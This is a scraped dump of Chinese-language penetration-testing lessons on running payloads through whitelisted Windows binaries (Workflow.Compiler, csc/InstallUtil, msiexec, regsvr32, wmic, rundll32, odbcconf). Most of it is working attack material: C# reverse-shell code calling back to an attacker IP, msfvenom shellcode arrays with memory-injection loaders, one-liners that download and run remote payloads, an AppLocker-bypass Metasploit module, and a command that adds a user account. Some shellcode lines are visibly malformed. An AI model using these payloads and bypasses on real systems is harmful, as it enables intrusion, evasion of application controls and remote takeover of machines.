C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Microsoft.Workflow.Compiler.exe 攻击机:192.168.1.4 Debian靶机:192.168.1.3 Windows 7 配置攻击机msf: 靶机执行: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Workflow.Compiler.exe poc.xml Micropoor.tcp 结合meterpreter: 注:payload.cs需要用到System.Workflow.Activities 靶机执行: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Microsoft.Workflow.Compiler.exe poc.xml Micropoor_rev1.cs 配置攻击机msf: payload生成: msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐ f csharp 附录:poc.xml 注:windows/shell/reverse_tcp Micropoor.tcp false true false false ‐1 false false false CSharp Micropoor.tcp: using System; using System.Text; using System.IO; using System.Diagnostics; using System.ComponentModel; using System.Net; using System.Net.Sockets; using System.Workflow.Activities; public class Program : SequentialWorkflowActivity { static StreamWriter streamWriter; public Program() { using(TcpClient client = new TcpClient(\"192.168.1.4\", 53)) { using(Stream stream = client.GetStream()) { using(StreamReader rdr = new StreamReader(stream)) { streamWriter = new StreamWriter(stream); StringBuilder strInput = new StringBuilder(); Process p = new Process(); p.StartInfo.FileName = \"cmd.exe\"; p.StartInfo.CreateNoWindow = true; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardInput = true; p.StartInfo.RedirectStandardError = true; p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler); p.Start(); p.BeginOutputReadLine(); while(true) { strInput.Append(rdr.ReadLine()); p.StandardInput.WriteLine(strInput); strInput.Remove(0, strInput.Length); } } } } } private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine) { StringBuilder strOutput = new StringBuilder(); if (!String.IsNullOrEmpty(outLine.Data)) { try { strOutput.Append(outLine.Data); streamWriter.WriteLine(strOutput); streamWriter.Flush(); } catch (Exception err) { } } } } Micropoor_rev1.cs: 注:x64 payload using System; using System.Workflow.Activities; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; class yrDaTlg : SequentialWorkflowActivity { [DllImport(\"kernel32\")] private static extern IntPtr VirtualAlloc(UInt32 rCfMkmxRSAakg,UInt32 qjRsrljIMB, UInt32 peXiTuE, UInt32 AkpADfOOAVBZ); [DllImport(\"kernel32\")] public static extern bool VirtualProtect(IntPt rDStOGXQMMkP, uint CzzIpcuQppQSTBJ, uint JCFImGhkRqtwANx, out uint exgVp Sg); [DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 eisuQbXKYbAvA, UInt32 WQATOZaFz, IntPtr AEGJQOn,IntPtr SYcfyeeSgPl, UInt32 ZSheqBwKtDf, ref UInt32 SZtdSB); [DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr KqJNFlHpsKOV, UInt32 EYBOArlCLAM); public yrDaTlg() { byte[] QWKpWKhcs = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,x48, 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,xc9, 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,x41, 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,x48, 0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,x8b, 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,x8b, 0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,x41, 0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,xc1, 0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,x45, 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,x8b, 0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,x01, 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,x48, 0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,xe9, 0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,x00, 0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,xe5, 0x49,0xbc,0x02,0x00,0x00,0x35,0xc0,0xa8,0x01,0x04,0x41,0x54,0x49,0x89,xe4, 0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,x68, 0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,x0a, 0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,x89, 0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,xd5, 0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,xba, 0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,xe5, 0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,xc9, 0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,xd5, 0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,x41, 0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,x41, 0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,x31, 0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,xc8, 0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,x40, 0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,xd5, 0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,x3c, 0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,x41, 0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,xd5}; IntPtr AmnGaO = VirtualAlloc(0, (UInt32)QWKpWKhcs.Length, 0x3000, 0x04); Marshal.Copy(QWKpWKhcs, 0, (IntPtr)(AmnGaO), QWKpWKhcs.Length); IntPtr oXmoNUYvivZlXj = IntPtr.Zero; UInt32 XVXTOi = 0; IntPtr pAeCTf wBS = IntPtr.Zero; uint BnhanUiUJaetgy; bool iSdNUQK = VirtualProtect(AmnGaO, (uint)0x1000, (uint)0x20, out BnhanUiUJaetgy); oXmoNUYvivZlXj = CreateThread(0, 0, AmnGaO, pAeCTfwBS, 0, ref XVXTOi); WaitForSingleObject(oXmoNUYvivZlXj, 0xFFFFFFFF);} } Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-25 "},"Chapter1/71-80/77_基于白名单Csc.exe执行payload第七季.html":{"url":"Chapter1/71-80/77_基于白名单Csc.exe执行payload第七季.html","title":"第七十七课:基于白名单Csc.exe执行payload第七季","keywords":"","body":"注:请多喝点热水或者凉白开,身体特别重要。 Csc.exe简介: C#的在Windows平台下的编译器名称是Csc.exe,如果你的.NET FrameWork SDK安装在C盘,那么你可以在C:\\WINNT\\Microsoft.NET\\Framework\\xxxxx目录中发现它。为了使用方便,你可以手动把这个目录添加到Path环境变量中去。用Csc.exe编译HelloWorld.cs非常简单,打开命令提示符,并切换到存放 test.cs文件的目录中,输入下列行命令:csc /target:exe test.cs 将Ttest.cs 编译成名为 test.exe 的 console 应用程序 说明: Csc.exe所在路径没有被系统添加PATH环境变量中,因此,csc命令无法识别。 基于白名单Csc.exe配置payload: Windows 7 默认位置: C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\csc.exe 攻击机:192.168.1.4 Debian靶机:192.168.1.5 Windows 7 配置攻击机msf: 配置payload: msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐ f csharp copy buf 到 Micropoor_Csc.cs shellcode 中。 靶机执行: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /r:System.Ente rpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Mic opoor.exe /platform:x64 /unsafe C:\\Users\\John\\Desktop\\Micropoor_Csc.cs C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe /logfile= /LogToConsole=false /U C:\\Users\\John\\Desktop\\Micropoor.exe 与第七十二课相比,payload更为灵活。 附录:Micropoor_Csc.cs using System; using System.Net; using System.Diagnostics; using System.Reflection; using System.Configuration.Install; using System.Runtime.InteropServices; // msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐f csharp public class Program { public static void Main() { } } [System.ComponentModel.RunInstaller(true)] public class Sample : System.Configuration.Install.Installer { public override void Uninstall(System.Collections.IDictionary savedState) { Shellcode.Exec(); } } public class Shellcode { public static void Exec() { byte[] shellcode = new byte[510] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,x48, 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,xc9, 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,x41, 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,x48, 0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,x8b, 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,x8b, 0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,x41, 0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,xc1, 0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,x45, 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,x8b, 0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,x01, 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,x48, 0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,xe9, 0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,x00, 0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,xe5, 0x49,0xbc,0x02,0x00,0x00,0x35,0xc0,0xa8,0x01,0x04,0x41,0x54,0x49,0x89,xe4, 0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,x68, 0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,x0a, 0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,x89, 0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,xd5, 0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,xba, 0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,xe5, 0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,xc9, 0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,xd5, 0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,x41, 0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,x41, 0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,x31, 0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,xc8, 0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,x40, 0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,xd5, 0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,x3c, 0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,x41, 0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,xd5 }; UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; IntPtr pinfo = IntPtr.Zero; hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); } private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; [DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport(\"kernel32\")] private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType); [DllImport(\"kernel32\")] private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId ); [DllImport(\"kernel32\")] private static extern bool CloseHandle(IntPtr handle); [DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds ); [DllImport(\"kernel32\")] private static extern IntPtr GetModuleHandle( string moduleName ); [DllImport(\"kernel32\")] private static extern UInt32 GetProcAddress( IntPtr hModule, string procName ); [DllImport(\"kernel32\")] private static extern UInt32 LoadLibrary( string lpFileName ); [DllImport(\"kernel32\")] private static extern UInt32 GetLastError(); } Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-25 "},"Chapter1/71-80/78_基于白名单Msiexec执行payload第八季.html":{"url":"Chapter1/71-80/78_基于白名单Msiexec执行payload第八季.html","title":"第七十八课:基于白名单Msiexec执行payload第八季","keywords":"","body":"注:请多喝点热水或者凉白开,身体特别重要。 Msiexec简介: Msiexec 是 Windows Installer 的一部分。用于安装 Windows Installer 安装包(MSI),一般在运行 Microsoft Update 安装更新或安装部分软件的时候出现,占用内存比较大。并且集成于 Windows 2003,Windows 7 等。 说明:Msiexec.exe所在路径已被系统添加PATH环境变量中,因此,Msiexec命令可识别。 基于白名单Msiexec.exe配置payload: Windows 2003 默认位置: C:\\WINDOWS\\system32\\msiexec.exe C:\\WINDOWS\\SysWOW64\\msiexec.exe 攻击机:192.168.1.4 Debian靶机: 192.168.1.119 Windows 2003 配置攻击机msf: 配置payload: msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐ f msi > Micropoor_rev_x64_53.txt 靶机执行: C:\\Windows\\System32\\msiexec.exe /q /i http://192.168.1.4/Micropoor_rev\\_x64_53.txt Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/71-80/79_基于白名单Regsvr32执行payload第九季.html":{"url":"Chapter1/71-80/79_基于白名单Regsvr32执行payload第九季.html","title":"第七十九课:基于白名单Regsvr32执行payload第九季","keywords":"","body":"注:请多喝点热水或者凉白开,身体特别重要。 Regsvr32简介: Regsvr32命令用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。WinXP及以上系统的regsvr32.exe在windows\\system32文件夹下;2000系统的regsvr32.exe在winnt\\system32文件夹下。但搭配regsvr32.exe使用的 DLL,需要提供 DllRegisterServer 和 DllUnregisterServer两个输出函式,或者提供DllInstall输出函数。 说明:Regsvr32.exe所在路径已被系统添加PATH环境变量中,因此,Regsvr32命令可识别。 Windows 2003 默认位置: C:\\WINDOWS\\SysWOW64\\regsvr32.exe C:\\WINDOWS\\system32\\regsvr32.exe 攻击机:192.168.1.4 Debian靶机: 192.168.1.119 Windows 2003 msf 已内置auxiliary版本的regsvr32_command_delivery_server,但是最新版已经无exploit版本regsvr32,文章结尾补充。 配置攻击机msf: msf auxiliary(server/regsvr32_command_delivery_server) > use auxiliary/server/regsvr32_command_delivery_server msf auxiliary(server/regsvr32_command_delivery_server) > set CMD net user Micropoor Micropoor /add CMD => net user Micropoor Micropoor /add msf auxiliary(server/regsvr32_command_delivery_server) > exploit [*] Using URL: http://0.0.0.0:8080/ybn7xESQYCGv [*] Local IP: http://192.168.1.4:8080/ybn7xESQYCGv [*] Server started. [*] Run the following command on the target machine: regsvr32 /s /n /u /i:http://192.168.1.4:8080/ybn7xESQYCGv scrobj.dll 靶机执行: regsvr32 /s /n /u /i:http://192.168.1.4:8080/ybn7xESQYCGv scrobj.dll 附:powershell 版 Regsvr32 regsvr32_applocker_bypass_server.rb ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit‐framework ## class MetasploitModule 'Regsvr32.exe (.sct) Application Whitelisting Bypass Serve r', 'Description' => %q( This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique. The module creates a web server that hosts an .sct file. When the user types the provided regsvr32 command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command. This command then downloads and executes the specified payload (similar to the web_delivery module with PSH). Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port. ), 'License' => MSF_LICENSE, 'Author' => [ 'Casey Smith', # AppLocker bypass research and vulnerability discover y(\\@subTee) 'Trenton Ivey', # MSF Module (kn0) ], 'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }, 'Targets' => [['PSH', {}]], 'Platform' => %w(win), 'Arch' => [ARCH_X86, ARCH_X86_64], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 19 2016', 'References' => [ ['URL', 'http://subt0x10.blogspot.com/2016/04/bypass‐application‐whitelisting‐script.html'] ] )) end def primer print_status('Run the following command on the target machine:') print_line(\"regsvr32 /s /n /u /i:\\#{get_uri}.sct scrobj.dll\") end def on_request_uri(cli, _request) # If the resource request ends with '.sct', serve the .sct file # Otherwise, serve the PowerShell payload if _request.raw_uri =~ /\\.sct$/ serve_sct_file else serve_psh_payload end end def serve_sct_file print_status(\"Handling request for the .sct file from #{cli.peerhost}\") ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri) download_and_run = \"#{ignore_cert}#{download_string}\" psh_command = generate_psh_command_line( noprofile: true, windowstyle: 'hidden', command: download_and_run ) data = gen_sct_file(psh_command) send_response(cli, data, 'Content‐Type' => 'text/plain') end def serve_psh_payload print_status(\"Delivering payload to #{cli.peerhost}\") data = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, use_single_quotes: true ) send_response(cli,data,'Content‐Type' => 'application/octet‐stream') end def rand_class_id \"#{Rex::Text.rand_text_hex 8}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex12}\" end def gen_sct_file(command) %{} end end 使用方法: copy regsvr32_applocker_bypass_server.rb to /usr/share/metasploit-framework/modules/exploits/windows/misc Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/71-80/80_基于白名单Wmic执行payload第十季.html":{"url":"Chapter1/71-80/80_基于白名单Wmic执行payload第十季.html","title":"第八十课:基于白名单Wmic执行payload第十季","keywords":"","body":"注:请多喝点热水或者凉白开,可预防肾结石,通风等。 Wmic简介: WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具),提供了从命令行接口和批命令脚本执行系统管理的支持。在WMIC出现之前,如果要管理WMI系统,必须使用一些专门的WMI应用,例如SMS,或者使用WMI的脚本编程API,或者使用象CIM Studio之类的工具。如果不熟悉C++之类的编程语言或VBScript之类的脚本语言,或者不掌握WMI名称空间的基本知识,要用WMI管理系统是很困难的。WMIC改变了这种情况。 说明:Wmic.exe所在路径已被系统添加PATH环境变量中,因此,Wmic命令可识别,需注意x86,x64位的Wmic调用。 Windows 2003 默认位置: C:\\WINDOWS\\system32\\wbem\\wmic.exe C:\\WINDOWS\\SysWOW64\\wbem\\wmic.exe Windows 7 默认位置: C:\\Windows\\System32\\wbem\\WMIC.exe C:\\Windows\\SysWOW64\\wbem\\WMIC.exe 攻击机:192.168.1.4 Debian靶机:192.168.1.119 Windows 2003192.168.1.5 Windows 7 配置攻击机msf: msf exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proce ss, none) LHOST 192.168.1.4 yes The listen address (an interface may be specified) LPORT 53 yes The listen port Exploit target: Id Name ‐‐ ‐‐‐‐ 0 Wildcard Target 23 靶机执行: Windows 7: C:\\Windows\\SysWOW64\\wbem\\WMIC.exe os get /format:\"http://192.168.1.4/Micropoor.xsl\" Windows 2003: WMIC.exe os get /format:\"http://192.168.1.4/Micropoor_2003.xsl\" 附录: Micropoor_Win7.xsl: Micropoor_2003.xsl: Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-25 "},"Content/81-90.html":{"url":"Content/81-90.html","title":"81-90课","keywords":"","body":"第八十一课:基于白名单Rundll32.exe执行payload第十一季 第八十二课:基于白名单Odbcconf执行payload第十二季 第八十三课:基于白名单PsExec执行payload第十三季 第八十四课:基于白名单Forfiles执行payload第十四季 第八十五课:基于白名单Pcalua执行payload第十五季 第八十六课:基于白名单Msiexec执行payload第八季补充 第八十七课:基于白名单Cmstp.exe执行payload第十六季 第八十八课:基于白名单Ftp.exe执行payload第十九季 第八十九课:基于白名单Url.dll执行payload第十七季 第九十课:基于白名单zipfldr.dll执行payload第十八季 Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-03 "},"Chapter1/81-90/81_基于白名单Rundll32.exe执行payload第十一季.html":{"url":"Chapter1/81-90/81_基于白名单Rundll32.exe执行payload第十一季.html","title":"第八十一课:基于白名单Rundll32.exe执行payload第十一季","keywords":"","body":"注:请多喝点热水或者凉白开,可预防肾结石,通风等。 Rundll32简介: Rundll32.exe是指“执行32位的DLL文件”。它的作用是执行DLL文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。 说明:Rundll32.exe所在路径已被系统添加PATH环境变量中,因此,Wmic命令可识别,需注意x86,x64位的Rundll32调用。 Windows 2003 默认位置: C:\\Windows\\System32\\rundll32.exe C:\\Windows\\SysWOW64\\rundll32.exe Windows 7 默认位置: C:\\Windows\\System32\\rundll32.exe C:\\Windows\\SysWOW64\\rundll32.exe 攻击机:192.168.1.4 Debian靶机:192.168.1.119 Windows 2003192.168.1.5 Windows 7 基于远程加载(1): 配置攻击机msf:注:x86 payload msf exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.1.4 yes The listen address (an interface may be specified) LPORT 53 yes The listen port Exploit target: Id Name ‐‐ ‐‐‐‐ 0 Wildcard Target msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 靶机执行: C:\\Windows\\SysWOW64\\rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication\";document.write();GetObject(\"script:http://192.168.1.4/Rundll32_shellcode\") 注:x64 rundll32.exe msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 [*] Sending stage (179779 bytes) to 192.168.1.5 [*] Meterpreter session 57 opened (192.168.1.4:53 ‐> 192.168.1.5:41274) at 2019‐01‐19 04:13:26 ‐0500 meterpreter > getuid Server username: John‐PC\\John meterpreter > getpid Current pid: 7064 meterpreter > 基于本地加载(2): payload配置: msfvenom ‐a x86 ‐‐platform windows ‐p windows/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐f dll > Micropoor_Rundll32.dll 靶机执行: msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 [*] Sending stage (179779 bytes) to 192.168.1.5 [*] Meterpreter session 63 opened (192.168.1.4:53 ‐> 192.168.1.5:43320) at 2019‐01‐19 04:34:59 ‐0500 meterpreter > getuid Server username: John‐PC\\John meterpreter > getpid Current pid: 6656 基于命令执行(3): 靶机执行: Windows 2003: rundll32.exe javascript:\"\\..\\mshtml.dll,RunHTMLApplication \";eval(\"w=new ActiveXObject(\\\"WScript.Shell\\\");w.run(\\\"mstsc\\\");window.close()\"); 注:如靶机支持powershell,调用powershell更贴合实战。 附录:Rundll32_shellcode Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-25 "},"Chapter1/81-90/82_基于白名单Odbcconf执行payload第十二季.html":{"url":"Chapter1/81-90/82_基于白名单Odbcconf执行payload第十二季.html","title":"第八十二课:基于白名单Odbcconf执行payload第十二季","keywords":"","body":"注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 Odbcconf简介: ODBCCONF.exe是一个命令行工具,允许配置ODBC驱动程序和数据源。 微软官方文档:https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017 说明:Odbcconf.exe所在路径已被系统添加PATH环境变量中,因此,Odbcconf命令可识别,需注意x86,x64位的Odbcconf调用。 Windows 2003 默认位置: C:\\WINDOWS\\system32\\odbcconf.exe C:\\WINDOWS\\SysWOW64\\odbcconf.exe` Windows 7 默认位置: `C:\\Windows\\System32\\odbcconf.exe C:\\Windows\\SysWOW64\\odbcconf.exe 攻击机:192.168.1.4 Debian 靶机:192.168.1.119 Windows 2003192.168.1.5 Windows 7 配置攻击机msf: 注:x86 payload msf exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 